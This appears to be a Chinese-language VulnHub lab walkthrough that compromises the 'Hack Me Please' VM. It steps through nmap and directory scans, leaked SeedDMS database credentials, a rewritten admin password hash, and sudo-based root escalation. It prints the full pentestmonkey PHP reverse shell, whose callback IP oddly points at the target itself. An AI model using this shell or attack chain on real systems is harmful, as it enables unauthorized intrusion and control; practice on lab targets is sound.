准备：
攻击机：虚拟机kali、本机win10。
靶机：HACK ME PLEASE，下载地址：https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar，下载后直接vbox打开即可。
知识点：seeddms框架、敏感信息泄露、shell上传、目录扫描（较多）。
信息收集：
通过nmap扫描下网段内的存活主机地址，确定下靶机的地址：nmap -sn 192.168.110.0/24，获得靶机地址：192.168.110.4。
扫描下端口对应的服务：nmap -T4 -sV -p- -A 192.168.110.4，显示开放了80、3306、33060端口，开启了apache、mysql服务。
目录扫描：
使用dirmap进行目录扫描，发现了一些图片文件和js文件，在http://192.168.110.4/js/main.js文件中发现了一个目录信息：/seeddms51x/seeddms-5.1.22/。
对新发现的两个目录进行扫描，发现了/conf、/data、/doc、/inc等目录和文件，登录界面：http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php，但是缺少账号和密码，也简单测试了下注入未成功。
对conf目录进行扫描，发现了/seeddms51x/conf/settings.xml，访问该文件查看是否隐藏有账户信息，意外发现了数据库的账号和密码信息：seeddms/seeddms。
数据库连接和web登录：
使用账户信息：seeddms/seeddms在navicat客户端进行连接，查看下数据库内的信息，在tblUsers中发现账户admin和其密码信息：admin
/f9ef2c539bad8a6d2f3432b6d49ab51a、以及：saket/Saket@#$1337。
修改数据库中admin账户的密码信息，在加密网站随便加密一串字符串，这里用的是upfine，将加密的字符串替换掉原来的加密字符串。
使用已知的账户名：admin和修改的密码：upfine，在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。
获取shell：
在登录的web中发现了一处上传功能，上传shell反弹脚本，脚本内容可在：https://www.revshells.com/网站中获取，选取PHP PentestMonkey模块即可，或复制下面代码。
shell反弹脚本
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.4';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>使用上传功能上传shell.php脚本信息，上传之后会显示错误信息，但是在主目录下是可以正常看到上传的shell文件的。
然后需要查找下上传文件的目录信息，在下载的seeddms框架中找到了其数据存放的目录为1048576，因此对靶机该目录进行扫描，命令：dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *，发现了/1048576/6目录，继续对此目录进行扫描，发现了1.php文件。
kali端开启对6688端口的监听，然后访问该php文件，成功获得shell权限。
提权：
前往/home目录下简单的查看下都有哪些账户，发现了账户saket，前面在数据库中获得了这个账户的密码：Saket@#$1337，因此我们可以直接切换到saket账户。
查看下当前账户是否存在可以使用的特权命令，sudo -l，显示是all，那就直接sudo su提权到root就好了。
